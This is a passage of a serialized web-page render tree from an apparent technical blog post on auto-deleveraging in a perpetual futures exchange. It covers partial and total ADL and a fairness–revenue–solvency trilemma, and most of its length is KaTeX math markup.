positions!",{"type":23,"tag":59,"props":162550,"children":162552},{"id":162551},"partial-and-total-adl",[162553],{"type":29,"value":162554},"Partial and Total ADL",{"type":23,"tag":32,"props":162556,"children":162557},{},[162558],{"type":29,"value":162559},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":23,"tag":32,"props":162561,"children":162562},{},[162563],{"type":29,"value":162564},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":23,"tag":32,"props":162566,"children":162567},{},[162568,162570,162575],{"type":29,"value":162569},"So essentially, in pseudocode, the whole latter part of ",{"type":23,"tag":71,"props":162571,"children":162573},{"className":162572},[],[162574],{"type":29,"value":161150},{"type":29,"value":162576}," boils down to:",{"type":23,"tag":160825,"props":162578,"children":162581},{"addr":161196,"line-start":162579,"line-end":162580},"3252","3632",[],{"type":23,"tag":32,"props":162583,"children":162584},{},[162585],{"type":29,"value":162586},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":23,"tag":37658,"props":162588,"children":162590},{"id":162589},"branches",[162591],{"type":29,"value":162592},"Branches",{"type":23,"tag":32,"props":162594,"children":162595},{},[162596],{"type":29,"value":162597},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":23,"tag":32,"props":162599,"children":162600},{},[162601],{"type":29,"value":162602},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":23,"tag":37658,"props":162604,"children":162606},{"id":162605},"financial-conclusions",[162607],{"type":29,"value":162608},"Financial Conclusions",{"type":23,"tag":24,"props":162610,"children":162612},{"id":162611},"fairness-revenue-solvency-trilemma",[162613],{"type":29,"value":162614},"Fairness, Revenue, Solvency Trilemma",{"type":23,"tag":32,"props":162616,"children":162617},{},[162618,162620,162626],{"type":29,"value":162619},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":23,"tag":181,"props":162621,"children":162623},{"href":161978,"rel":162622},[185],[162624],{"type":29,"value":162625},"the paper mentioned before",{"type":29,"value":162627},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":23,"tag":98,"props":162629,"children":162630},{},[162631,162641,162651],{"type":23,"tag":102,"props":162632,"children":162633},{},[162634,162639],{"type":23,"tag":2258,"props":162635,"children":162636},{},[162637],{"type":29,"value":162638},"Solvency",{"type":29,"value":162640},": can the platform pay every trader out?",{"type":23,"tag":102,"props":162642,"children":162643},{},[162644,162649],{"type":23,"tag":2258,"props":162645,"children":162646},{},[162647],{"type":29,"value":162648},"Fairness",{"type":29,"value":162650},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":23,"tag":102,"props":162652,"children":162653},{},[162654,162659],{"type":23,"tag":2258,"props":162655,"children":162656},{},[162657],{"type":29,"value":162658},"Revenue",{"type":29,"value":162660},": the fraction of total winner PNL that survives after deleveraging.",{"type":23,"tag":32,"props":162662,"children":162663},{},[162664],{"type":29,"value":162665},"Let's borrow these definitions from the paper:",{"type":23,"tag":220,"props":162667,"children":162668},{},[162669],{"type":23,"tag":71,"props":162670,"children":162672},{"className":162671},[6318,160853],[162673],{"type":23,"tag":230,"props":162674,"children":162676},{"className":162675},[160858],[162677],{"type":23,"tag":230,"props":162678,"children":162680},{"className":162679},[6324],[162681],{"type":23,"tag":230,"props":162682,"children":162684},{"className":162683,"ariaHidden":1726},[6329],[162685],{"type":23,"tag":230,"props":162686,"children":162688},{"className":162687},[6334],[162689,162694],{"type":23,"tag":230,"props":162690,"children":162693},{"className":162691,"style":162692},[6339],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":23,"tag":230,"props":162695,"children":162697},{"className":162696},[6345],[162698],{"type":23,"tag":230,"props":162699,"children":162701},{"className":162700},[161555],[162702,163521],{"type":23,"tag":230,"props":162703,"children":162705},{"className":162704},[161560],[162706],{"type":23,"tag":230,"props":162707,"children":162709},{"className":162708},[6367,23956],[162710,163509],{"type":23,"tag":230,"props":162711,"children":162713},{"className":162712},[6372],[162714,163504],{"type":23,"tag":230,"props":162715,"children":162718},{"className":162716,"style":162717},[6377],"height:11.8392em;",[162719,162790,162807,162876,162946,163015,163085,163154,163223,163292,163362,163433],{"type":23,"tag":230,"props":162720,"children":162722},{"style":162721},"top:-14.3707em;",[162723,162728],{"type":23,"tag":230,"props":162724,"children":162727},{"className":162725,"style":162726},[6386],"height:3.3714em;",[],{"type":23,"tag":230,"props":162729,"children":162731},{"className":162730},[6345],[162732],{"type":23,"tag":230,"props":162733,"children":162735},{"className":162734},[6345],[162736,162741],{"type":23,"tag":230,"props":162737,"children":162739},{"className":162738,"style":23903},[6345,23902],[162740],{"type":29,"value":23906},{"type":23,"tag":230,"props":162742,"children":162744},{"className":162743},[6362],[162745],{"type":23,"tag":230,"props":162746,"children":162748},{"className":162747},[6367,23956],[162749,162779],{"type":23,"tag":230,"props":162750,"children":162752},{"className":162751},[6372],[162753,162774],{"type":23,"tag":230,"props":162754,"children":162756},{"className":162755,"style":111258},[6377],[162757],{"type":23,"tag":230,"props":162758,"children":162760},{"style":162759},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[162761,162765],{"type":23,"tag":230,"props":162762,"children":162764},{"className":162763,"style":6387},[6386],[],{"type":23,"tag":230,"props":162766,"children":162768},{"className":162767},[6392,6393,6394,6395],[162769],{"type":23,"tag":230,"props":162770,"children":162772},{"className":162771},[6345,23902,6395],[162773],{"type":29,"value":58177},{"type":23,"tag":230,"props":162775,"children":162777},{"className":162776},[24059],[162778],{"type":29,"value":24062},{"type":23,"tag":230,"props":162780,"children":162782},{"className":162781},[6372],[162783],{"type":23,"tag":230,"props":162784,"children":162786},{"className":162785,"style":94909},[6377],[162787],{"type":23,"tag":230,"props":162788,"children":162789},{},[],{"type":23,"tag":230,"props":162791,"children":162793},{"style":162792},"top:-12.8707em;",[162794,162798],{"type":23,"tag":230,"props":162795,"children":162797},{"className":162796,"style":162726},[6386],[],{"type":23,"tag":230,"props":162799,"children":162801},{"className":162800},[6345],[162802],{"type":23,"tag":230,"props":162803,"children":162805},{"className":162804,"style":96846},[6345,23902],[162806],{"type":29,"value":96880},{"type":23,"tag":230,"props":162808,"children":162810},{"style":162809},"top:-10.8392em;",[162811,162815],{"type":23,"tag":230,"props":162812,"children":162814},{"className":162813,"style":162726},[6386],[],{"type":23,"tag":230,"props":162816,"children":162818},{"className":162817},[6345],[162819],{"type":23,"tag":230,"props":162820,"children":162822},{"className":162821},[6345],[162823,162828],{"type":23,"tag":230,"props":162824,"children":162826},{"className":162825},[6345,23902],[162827],{"type":29,"value":2148},{"type":23,"tag":230,"props":162829,"children":162831},{"className":162830},[6362],[162832],{"type":23,"tag":230,"props":162833,"children":162835},{"className":162834},[6367,23956],[162836,162865],{"type":23,"tag":230,"props":162837,"children":162839},{"className":162838},[6372],[162840,162860],{"type":23,"tag":230,"props":162841,"children":162843},{"className":162842,"style":95355},[6377],[162844],{"type":23,"tag":230,"props":162845,"children":162846},{"style":94882},[162847,162851],{"type":23,"tag":230,"props":162848,"children":162850},{"className":162849,"style":6387},[6386],[],{"type":23,"tag":230,"props":162852,"children":162854},{"className":162853},[6392,6393,6394,6395],[162855],{"type":23,"tag":230,"props":162856,"children":162858},{"className":162857},[6345,23902,6395],[162859],{"type":29,"value":6074},{"type":23,"tag":230,"props":162861,"children":162863},{"className":162862},[24059],[162864],{"type":29,"value":24062},{"type":23,"tag":230,"props":162866,"children":162868},{"className":162867},[6372],[162869],{"type":23,"tag":230,"props":162870,"children":162872},{"className":162871,"style":94909},[6377],[162873],{"type":23,"tag":230,"props":162874,"children":162875},{},[],{"type":23,"tag":230,"props":162877,"children":162879},{"style":162878},"top:-8.8188em;",[162880,162884],{"type":23,"tag":230,"props":162881,"children":162883},{"className":162882,"style":162726},[6386],[],{"type":23,"tag":230,"props":162885,"children":162887},{"className":162886},[6345],[162888],{"type":23,"tag":230,"props":162889,"children":162891},{"className":162890},[6345],[162892,162898],{"type":23,"tag":230,"props":162893,"children":162895},{"className":162894,"style":95312},[6345,23902],[162896],{"type":29,"value":162897},"π",{"type":23,"tag":230,"props":162899,"children":162901},{"className":162900},[6362],[162902],{"type":23,"tag":230,"props":162903,"children":162905},{"className":162904},[6367,23956],[162906,162935],{"type":23,"tag":230,"props":162907,"children":162909},{"className":162908},[6372],[162910,162930],{"type":23,"tag":230,"props":162911,"children":162913},{"className":162912,"style":95355},[6377],[162914],{"type":23,"tag":230,"props":162915,"children":162916},{"style":95359},[162917,162921],{"type":23,"tag":230,"props":162918,"children":162920},{"className":162919,"style":6387},[6386],[],{"type":23,"tag":230,"props":162922,"children":162924},{"className":162923},[6392,6393,6394,6395],[162925],{"type":23,"tag":230,"props":162926,"children":162928},{"className":162927},[6345,23902,6395],[162929],{"type":29,"value":6074},{"type":23,"tag":230,"props":162931,"children":162933},{"className":162932},[24059],[162934],{"type":29,"value":24062},{"type":23,"tag":230,"props":162936,"children":162938},{"className":162937},[6372],[162939],{"type":23,"tag":230,"props":162940,"children":162942},{"className":162941,"style":94909},[6377],[162943],{"type":23,"tag":230,"props":162944,"children":162945},{},[],{"type":23,"tag":230,"props":162947,"children":162949},{"style":162948},"top:-7.3188em;",[162950,162954],{"type":23,"tag":230,"props":162951,"children":162953},{"className":162952,"style":162726},[6386],[],{"type":23,"tag":230,"props":162955,"children":162957},{"className":162956},[6345],[162958],{"type":23,"tag":230,"props":162959,"children":162961},{"className":162960},[6345],[162962,162967],{"type":23,"tag":230,"props":162963,"children":162965},{"className":162964},[6345,23902],[162966],{"type":29,"value":53227},{"type":23,"tag":230,"props":162968,"children":162970},{"className":162969},[6362],[162971],{"type":23,"tag":230,"props":162972,"children":162974},{"className":162973},[6367,23956],[162975,163004],{"type":23,"tag":230,"props":162976,"children":162978},{"className":162977},[6372],[162979,162999],{"type":23,"tag":230,"props":162980,"children":162982},{"className":162981,"style":95355},[6377],[162983],{"type":23,"tag":230,"props":162984,"children":162985},{"style":94882},[162986,162990],{"type":23,"tag":230,"props":162987,"children":162989},{"className":162988,"style":6387},[6386],[],{"type":23,"tag":230,"props":162991,"children":162993},{"className":162992},[6392,6393,6394,6395],[162994],{"type":23,"tag":230,"props":162995,"children":162997},{"className":162996},[6345,23902,6395],[162998],{"type":29,"value":6074},{"type":23,"tag":230,"props":163000,"children":163002},{"className":163001},[24059],[163003],{"type":29,"value":24062},{"type":23,"tag":230,"props":163005,"children":163007},{"className":163006},[6372],[163008],{"type":23,"tag":230,"props":163009,"children":163011},{"className":163010,"style":94909},[6377],[163012],{"type":23,"tag":230,"props":163013,"children":163014},{},[],{"type":23,"tag":230,"props":163016,"children":163018},{"style":163017},"top:-5.8188em;",[163019,163023],{"type":23,"tag":230,"props":163020,"children":163022},{"className":163021,"style":162726},[6386],[],{"type":23,"tag":230,"props":163024,"children":163026},{"className":163025},[6345],[163027],{"type":23,"tag":230,"props":163028,"children":163030},{"className":163029},[6345],[163031,163036],{"type":23,"tag":230,"props":163032,"children":163034},{"className":163033,"style":124106},[6345,23902],[163035],{"type":29,"value":51344},{"type":23,"tag":230,"props":163037,"children":163039},{"className":163038},[6362],[163040],{"type":23,"tag":230,"props":163041,"children":163043},{"className":163042},[6367,23956],[163044,163074],{"type":23,"tag":230,"props":163045,"children":163047},{"className":163046},[6372],[163048,163069],{"type":23,"tag":230,"props":163049,"children":163051},{"className":163050,"style":95355},[6377],[163052],{"type":23,"tag":230,"props":163053,"children":163055},{"style":163054},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[163056,163060],{"type":23,"tag":230,"props":163057,"children":163059},{"className":163058,"style":6387},[6386],[],{"type":23,"tag":230,"props":163061,"children":163063},{"className":163062},[6392,6393,6394,6395],[163064],{"type":23,"tag":230,"props":163065,"children":163067},{"className":163066},[6345,23902,6395],[163068],{"type":29,"value":6074},{"type":23,"tag":230,"props":163070,"children":163072},{"className":163071},[24059],[163073],{"type":29,"value":24062},{"type":23,"tag":230,"props":163075,"children":163077},{"className":163076},[6372],[163078],{"type":23,"tag":230,"props":163079,"children":163081},{"className":163080,"style":94909},[6377],[163082],{"type":23,"tag":230,"props":163083,"children":163084},{},[],{"type":23,"tag":230,"props":163086,"children":163088},{"style":163087},"top:-4.3188em;",[163089,163093],{"type":23,"tag":230,"props":163090,"children":163092},{"className":163091,"style":162726},[6386],[],{"type":23,"tag":230,"props":163094,"children":163096},{"className":163095},[6345],[163097],{"type":23,"tag":230,"props":163098,"children":163100},{"className":163099},[6345],[163101,163106],{"type":23,"tag":230,"props":163102,"children":163104},{"className":163103},[6345,23902],[163105],{"type":29,"value":4511},{"type":23,"tag":230,"props":163107,"children":163109},{"className":163108},[6362],[163110],{"type":23,"tag":230,"props":163111,"children":163113},{"className":163112},[6367,23956],[163114,163143],{"type":23,"tag":230,"props":163115,"children":163117},{"className":163116},[6372],[163118,163138],{"type":23,"tag":230,"props":163119,"children":163121},{"className":163120,"style":95355},[6377],[163122],{"type":23,"tag":230,"props":163123,"children":163124},{"style":94882},[163125,163129],{"type":23,"tag":230,"props":163126,"children":163128},{"className":163127,"style":6387},[6386],[],{"type":23,"tag":230,"props":163130,"children":163132},{"className":163131},[6392,6393,6394,6395],[163133],{"type":23,"tag":230,"props":163134,"children":163136},{"className":163135},[6345,23902,6395],[163137],{"type":29,"value":6074},{"type":23,"tag":230,"props":163139,"children":163141},{"className":163140},[24059],[163142],{"type":29,"value":24062},{"type":23,"tag":230,"props":163144,"children":163146},{"className":163145},[6372],[163147],{"type":23,"tag":230,"props":163148,"children":163150},{"className":163149,"style":94909},[6377],[163151],{"type":23,"tag":230,"props":163152,"children":163153},{},[],{"type":23,"tag":230,"props":163155,"children":163157},{"style":163156},"top:-2.5512em;",[163158,163162],{"type":23,"tag":230,"props":163159,"children":163161},{"className":163160,"style":162726},[6386],[],{"type":23,"tag":230,"props":163163,"children":163165},{"className":163164},[6345],[163166],{"type":23,"tag":230,"props":163167,"children":163169},{"className":163168},[6345],[163170,163175],{"type":23,"tag":230,"props":163171,"children":163173},{"className":163172},[6345,23902],[163174],{"type":29,"value":86124},{"type":23,"tag":230,"props":163176,"children":163178},{"className":163177},[6362],[163179],{"type":23,"tag":230,"props":163180,"children":163182},{"className":163181},[6367,23956],[163183,163212],{"type":23,"tag":230,"props":163184,"children":163186},{"className":163185},[6372],[163187,163207],{"type":23,"tag":230,"props":163188,"children":163190},{"className":163189,"style":95355},[6377],[163191],{"type":23,"tag":230,"props":163192,"children":163193},{"style":94882},[163194,163198],{"type":23,"tag":230,"props":163195,"children":163197},{"className":163196,"style":6387},[6386],[],{"type":23,"tag":230,"props":163199,"children":163201},{"className":163200},[6392,6393,6394,6395],[163202],{"type":23,"tag":230,"props":163203,"children":163205},{"className":163204},[6345,23902,6395],[163206],{"type":29,"value":6074},{"type":23,"tag":230,"props":163208,"children":163210},{"className":163209},[24059],[163211],{"type":29,"value":24062},{"type":23,"tag":230,"props":163213,"children":163215},{"className":163214},[6372],[163216],{"type":23,"tag":230,"props":163217,"children":163219},{"className":163218,"style":94909},[6377],[163220],{"type":23,"tag":230,"props":163221,"children":163222},{},[],{"type":23,"tag":230,"props":163224,"children":163226},{"style":163225},"top:-0.3652em;",[163227,163231],{"type":23,"tag":230,"props":163228,"children":163230},{"className":163229,"style":162726},[6386],[],{"type":23,"tag":230,"props":163232,"children":163234},{"className":163233},[6345],[163235],{"type":23,"tag":230,"props":163236,"children":163238},{"className":163237},[6345],[163239,163244],{"type":23,"tag":230,"props":163240,"children":163242},{"className":163241,"style":95060},[6345,23902],[163243],{"type":29,"value":95063},{"type":23,"tag":230,"props":163245,"children":163247},{"className":163246},[6362],[163248],{"type":23,"tag":230,"props":163249,"children":163251},{"className":163250},[6367,23956],[163252,163281],{"type":23,"tag":230,"props":163253,"children":163255},{"className":163254},[6372],[163256,163276],{"type":23,"tag":230,"props":163257,"children":163259},{"className":163258,"style":144381},[6377],[163260],{"type":23,"tag":230,"props":163261,"children":163262},{"style":112255},[163263,163267],{"type":23,"tag":230,"props":163264,"children":163266},{"className":163265,"style":6387},[6386],[],{"type":23,"tag":230,"props":163268,"children":163270},{"className":163269},[6392,6393,6394,6395],[163271],{"type":23,"tag":230,"props":163272,"children":163274},{"className":163273,"style":23903},[6345,23902,6395],[163275],{"type":29,"value":8324},{"type":23,"tag":230,"props":163277,"children":163279},{"className":163278},[24059],[163280],{"type":29,"value":24062},{"type":23,"tag":230,"props":163282,"children":163284},{"className":163283},[6372],[163285],{"type":23,"tag":230,"props":163286,"children":163288},{"className":163287,"style":94909},[6377],[163289],{"type":23,"tag":230,"props":163290,"children":163291},{},[],{"type":23,"tag":230,"props":163293,"children":163295},{"style":163294},"top:2.2624em;",[163296,163300],{"type":23,"tag":230,"props":163297,"children":163299},{"className":163298,"style":162726},[6386],[],{"type":23,"tag":230,"props":163301,"children":163303},{"className":163302},[6345],[163304],{"type":23,"tag":230,"props":163305,"children":163307},{"className":163306},[6345],[163308,163314],{"type":23,"tag":230,"props":163309,"children":163311},{"className":163310,"style":94826},[6345,23902],[163312],{"type":29,"value":163313},"D",{"type":23,"tag":230,"props":163315,"children":163317},{"className":163316},[6362],[163318],{"type":23,"tag":230,"props":163319,"children":163321},{"className":163320},[6367,23956],[163322,163351],{"type":23,"tag":230,"props":163323,"children":163325},{"className":163324},[6372],[163326,163346],{"type":23,"tag":230,"props":163327,"children":163329},{"className":163328,"style":144381},[6377],[163330],{"type":23,"tag":230,"props":163331,"children":163332},{"style":111825},[163333,163337],{"type":23,"tag":230,"props":163334,"children":163336},{"className":163335,"style":6387},[6386],[],{"type":23,"tag":230,"props":163338,"children":163340},{"className":163339},[6392,6393,6394,6395],[163341],{"type":23,"tag":230,"props":163342,"children":163344},{"className":163343,"style":23903},[6345,23902,6395],[163345],{"type":29,"value":8324},{"type":23,"tag":230,"props":163347,"children":163349},{"className":163348},[24059],[163350],{"type":29,"value":24062},{"type":23,"tag":230,"props":163352,"children":163354},{"className":163353},[6372],[163355],{"type":23,"tag":230,"props":163356,"children":163358},{"className":163357,"style":94909},[6377],[163359],{"type":23,"tag":230,"props":163360,"children":163361},{},[],{"type":23,"tag":230,"props":163363,"children":163365},{"style":163364},"top:4.8901em;",[163366,163370],{"type":23,"tag":230,"props":163367,"children":163369},{"className":163368,"style":162726},[6386],[],{"type":23,"tag":230,"props":163371,"children":163373},{"className":163372},[6345],[163374],{"type":23,"tag":230,"props":163375,"children":163377},{"className":163376},[6345],[163378,163384],{"type":23,"tag":230,"props":163379,"children":163381},{"className":163380,"style":96834},[6345,23902],[163382],{"type":29,"value":163383},"U",{"type":23,"tag":230,"props":163385,"children":163387},{"className":163386},[6362],[163388],{"type":23,"tag":230,"props":163389,"children":163391},{"className":163390},[6367,23956],[163392,163422],{"type":23,"tag":230,"props":163393,"children":163395},{"className":163394},[6372],[163396,163417],{"type":23,"tag":230,"props":163397,"children":163399},{"className":163398,"style":144381},[6377],[163400],{"type":23,"tag":230,"props":163401,"children":163403},{"style":163402},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[163404,163408],{"type":23,"tag":230,"props":163405,"children":163407},{"className":163406,"style":6387},[6386],[],{"type":23,"tag":230,"props":163409,"children":163411},{"className":163410},[6392,6393,6394,6395],[163412],{"type":23,"tag":230,"props":163413,"children":163415},{"className":163414,"style":23903},[6345,23902,6395],[163416],{"type":29,"value":8324},{"type":23,"tag":230,"props":163418,"children":163420},{"className":163419},[24059],[163421],{"type":29,"value":24062},{"type":23,"tag":230,"props":163423,"children":163425},{"className":163424},[6372],[163426],{"type":23,"tag":230,"props":163427,"children":163429},{"className":163428,"style":94909},[6377],[163430],{"type":23,"tag":230,"props":163431,"children":163432},{},[],{"type":23,"tag":230,"props":163434,"children":163436},{"style":163435},"top:7.3078em;",[163437,163441],{"type":23,"tag":230,"props":163438,"children":163440},{"className":163439,"style":162726},[6386],[],{"type":23,"tag":230,"props":163442,"children":163444},{"className":163443},[6345],[163445],{"type":23,"tag":230,"props":163446,"children":163448},{"className":163447},[6345],[163449,163454],{"type":23,"tag":230,"props":163450,"children":163452},{"className":163451,"style":124603},[6345,23902],[163453],{"type":29,"value":124606},{"type":23,"tag":230,"props":163455,"children":163457},{"className":163456},[6362],[163458],{"type":23,"tag":230,"props":163459,"children":163461},{"className":163460},[6367,23956],[163462,163493],{"type":23,"tag":230,"props":163463,"children":163465},{"className":163464},[6372],[163466,163488],{"type":23,"tag":230,"props":163467,"children":163470},{"className":163468,"style":163469},[6377],"height:0.2806em;",[163471],{"type":23,"tag":230,"props":163472,"children":163474},{"style":163473},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[163475,163479],{"type":23,"tag":230,"props":163476,"children":163478},{"className":163477,"style":6387},[6386],[],{"type":23,"tag":230,"props":163480,"children":163482},{"className":163481},[6392,6393,6394,6395],[163483],{"type":23,"tag":230,"props":163484,"children":163486},{"className":163485},[6345,23902,6395],[163487],{"type":29,"value":24044},{"type":23,"tag":230,"props":163489,"children":163491},{"className":163490},[24059],[163492],{"type":29,"value":24062},{"type":23,"tag":230,"props":163494,"children":163496},{"className":163495},[6372],[163497],{"type":23,"tag":230,"props":163498,"children":163500},{"className":163499,"style":94909},[6377],[163501],{"type":23,"tag":230,"props":163502,"children":163503},{},[],{"type":23,"tag":230,"props":163505,"children":163507},{"className":163506},[24059],[163508],{"type":29,"value":24062},{"type":23,"tag":230,"props":163510,"children":163512},{"className":163511},[6372],[163513],{"type":23,"tag":230,"props":163514,"children":163517},{"className":163515,"style":163516},[6377],"height:11.3392em;",[163518],{"type":23,"tag":230,"props":163519,"children":163520},{},[],{"type":23,"tag":230,"props":163522,"children":163524},{"className":163523},[161640],[163525],{"type":23,"tag":230,"props":163526,"children":163528},{"className":163527},[6367,23956],[163529,165231],{"type":23,"tag":230,"props":163530,"children":163532},{"className":163531},[6372],[163533,165226],{"type":23,"tag":230,"props":163534,"children":163536},{"className":163535,"style":162717},[6377],[163537,163575,163613,163760,163995,164150,164255,164298,164519,164678,164868,165020],{"type":23,"tag":230,"props":163538,"children":163539},{"style":162721},[163540,163544],{"type":23,"tag":230,"props":163541,"children":163543},{"className":163542,"style":162726},[6386],[],{"type":23,"tag":230,"props":163545,"children":163547},{"className":163546},[6345],[163548,163552,163556,163561,163565],{"type":23,"tag":230,"props":163549,"children":163551},{"className":163550},[6345],[],{"type":23,"tag":230,"props":163553,"children":163555},{"className":163554,"style":6524},[6426],[],{"type":23,"tag":230,"props":163557,"children":163559},{"className":163558},[6529],[163560],{"type":29,"value":23921},{"type":23,"tag":230,"props":163562,"children":163564},{"className":163563,"style":6524},[6426],[],{"type":23,"tag":230,"props":163566,"children":163568},{"className":163567},[6345,29],[163569],{"type":23,"tag":230,"props":163570,"children":163572},{"className":163571},[6345],[163573],{"type":29,"value":163574},"mark price",{"type":23,"tag":230,"props":163576,"children":163577},{"style":162792},[163578,163582],{"type":23,"tag":230,"props":163579,"children":163581},{"className":163580,"style":162726},[6386],[],{"type":23,"tag":230,"props":163583,"children":163585},{"className":163584},[6345],[163586,163590,163594,163599,163603],{"type":23,"tag":230,"props":163587,"children":163589},{"className":163588},[6345],[],{"type":23,"tag":230,"props":163591,"children":163593},{"className":163592,"style":6524},[6426],[],{"type":23,"tag":230,"props":163595,"children":163597},{"className":163596},[6529],[163598],{"type":29,"value":23921},{"type":23,"tag":230,"props":163600,"children":163602},{"className":163601,"style":6524},[6426],[],{"type":23,"tag":230,"props":163604,"children":163606},{"className":163605},[6345,29],[163607],{"type":23,"tag":230,"props":163608,"children":163610},{"className":163609},[6345],[163611],{"type":29,"value":163612},"insurance fund",{"type":23,"tag":230,"props":163614,"children":163615},{"style":162809},[163616,163620],{"type":23,"tag":230,"props":163617,"children":163619},{"className":163618,"style":162726},[6386],[],{"type":23,"tag":230,"props":163621,"children":163623},{"className":163622},[6345],[163624,163628,163632,163637,163641,163651,163655,163660,163664],{"type":23,"tag":230,"props":163625,"children":163627},{"className":163626},[6345],[],{"type":23,"tag":230,"props":163629,"children":163631},{"className":163630,"style":6524},[6426],[],{"type":23,"tag":230,"props":163633,"children":163635},{"className":163634},[6529],[163636],{"type":29,"value":23921},{"type":23,"tag":230,"props":163638,"children":163640},{"className":163639,"style":6524},[6426],[],{"type":23,"tag":230,"props":163642,"children":163644},{"className":163643},[6345,29],[163645],{"type":23,"tag":230,"props":163646,"children":163648},{"className":163647},[6345],[163649],{"type":29,"value":163650},"collateral",{"type":23,"tag":230,"props":163652,"children":163654},{"className":163653,"style":6524},[6426],[],{"type":23,"tag":230,"props":163656,"children":163658},{"className":163657},[6529],[163659],{"type":29,"value":863},{"type":23,"tag":230,"props":163661,"children":163663},{"className":163662,"style":6524},[6426],[],{"type":23,"tag":230,"props":163665,"children":163667},{"className":163666},[6345],[163668,163672,163756],{"type":23,"tag":230,"props":163669,"children":163671},{"className":163670},[24031,115344],[],{"type":23,"tag":230,"props":163673,"children":163675},{"className":163674},[115349],[163676],{"type":23,"tag":230,"props":163677,"children":163679},{"className":163678},[6367,23956],[163680,163745],{"type":23,"tag":230,"props":163681,"children":163683},{"className":163682},[6372],[163684,163740],{"type":23,"tag":230,"props":163685,"children":163688},{"className":163686,"style":163687},[6377],"height:1.3714em;",[163689,163709,163720],{"type":23,"tag":230,"props":163690,"children":163691},{"style":160935},[163692,163696],{"type":23,"tag":230,"props":163693,"children":163695},{"className":163694,"style":113997},[6386],[],{"type":23,"tag":230,"props":163697,"children":163699},{"className":163698},[6345],[163700],{"type":23,"tag":230,"props":163701,"children":163703},{"className":163702},[6345,29],[163704],{"type":23,"tag":230,"props":163705,"children":163707},{"className":163706},[6345],[163708],{"type":29,"value":160972},{"type":23,"tag":230,"props":163710,"children":163711},{"style":115399},[163712,163716],{"type":23,"tag":230,"props":163713,"children":163715},{"className":163714,"style":113997},[6386],[],{"type":23,"tag":230,"props":163717,"children":163719},{"className":163718,"style":115409},[115408],[],{"type":23,"tag":230,"props":163721,"children":163722},{"style":160986},[163723,163727],{"type":23,"tag":230,"props":163724,"children":163726},{"className":163725,"style":113997},[6386],[],{"type":23,"tag":230,"props":163728,"children":163730},{"className":163729},[6345],[163731],{"type":23,"tag":230,"props":163732,"children":163734},{"className":163733},[6345,29],[163735],{"type":23,"tag":230,"props":163736,"children":163738},{"className":163737},[6345],[163739],{"type":29,"value":161011},{"type":23,"tag":230,"props":163741,"children":163743},{"className":163742},[24059],[163744],{"type":29,"value":24062},{"type":23,"tag":230,"props":163746,"children":163748},{"className":163747},[6372],[163749],{"type":23,"tag":230,"props":163750,"children":163752},{"className":163751,"style":161029},[6377],[163753],{"type":23,"tag":230,"props":163754,"children":163755},{},[],{"type":23,"tag":230,"props":163757,"children":163759},{"className":163758},[24053,115344],[],{"type":23,"tag":230,"props":163761,"children":163762},{"style":162878},[163763,163767],{"type":23,"tag":230,"props":163764,"children":163766},{"className":163765,"style":162726},[6386],[],{"type":23,"tag":230,"props":163768,"children":163770},{"className":163769},[6345],[163771,163775,163779,163784,163788,163845,163849,163854,163858,163863,163920,163924,163929,163933,163990],{"type":23,"tag":230,"props":163772,"children":163774},{"className":163773},[6345],[],{"type":23,"tag":230,"props":163776,"children":163778},{"className":163777,"style":6524},[6426],[],{"type":23,"tag":230,"props":163780,"children":163782},{"className":163781},[6529],[163783],{"type":29,"value":863},{"type":23,"tag":230,"props":163785,"children":163787},{"className":163786,"style":6524},[6426],[],{"type":23,"tag":230,"props":163789,"children":163791},{"className":163790},[6345],[163792,163797],{"type":23,"tag":230,"props":163793,"children":163795},{"className":163794},[6345,23902],[163796],{"type":29,"value":12982},{"type":23,"tag":230,"props":163798,"children":163800},{"className":163799},[6362],[163801],{"type":23,"tag":230,"props":163802,"children":163804},{"className":163803},[6367,23956],[163805,163834],{"type":23,"tag":230,"props":163806,"children":163808},{"className":163807},[6372],[163809,163829],{"type":23,"tag":230,"props":163810,"children":163812},{"className":163811,"style":95355},[6377],[163813],{"type":23,"tag":230,"props":163814,"children":163815},{"style":94882},[163816,163820],{"type":23,"tag":230,"props":163817,"children":163819},{"className":163818,"style":6387},[6386],[],{"type":23,"tag":230,"props":163821,"children":163823},{"className":163822},[6392,6393,6394,6395],[163824],{"type":23,"tag":230,"props":163825,"children":163827},{"className":163826},[6345,23902,6395],[163828],{"type":29,"value":6074},{"type":23,"tag":230,"props":163830,"children":163832},{"className":163831},[24059],[163833],{"type":29,"value":24062},{"type":23,"tag":230,"props":163835,"children":163837},{"className":163836},[6372],[163838],{"type":23,"tag":230,"props":163839,"children":163841},{"className":163840,"style":94909},[6377],[163842],{"type":23,"tag":230,"props":163843,"children":163844},{},[],{"type":23,"tag":230,"props":163846,"children":163848},{"className":163847,"style":6427},[6426],[],{"type":23,"tag":230,"props":163850,"children":163852},{"className":163851},[6432],[163853],{"type":29,"value":113088},{"type":23,"tag":230,"props":163855,"children":163857},{"className":163856,"style":6427},[6426],[],{"type":23,"tag":230,"props":163859,"children":163861},{"className":163860},[24031],[163862],{"type":29,"value":302},{"type":23,"tag":230,"props":163864,"children":163866},{"className":163865},[6345],[163867,163872],{"type":23,"tag":230,"props":163868,"children":163870},{"className":163869,"style":23903},[6345,23902],[163871],{"type":29,"value":23906},{"type":23,"tag":230,"props":163873,"children":163875},{"className":163874},[6362],[163876],{"type":23,"tag":230,"props":163877,"children":163879},{"className":163878},[6367,23956],[163880,163909],{"type":23,"tag":230,"props":163881,"children":163883},{"className":163882},[6372],[163884,163904],{"type":23,"tag":230,"props":163885,"children":163887},{"className":163886,"style":111258},[6377],[163888],{"type":23,"tag":230,"props":163889,"children":163890},{"style":162759},[163891,163895],{"type":23,"tag":230,"props":163892,"children":163894},{"className":163893,"style":6387},[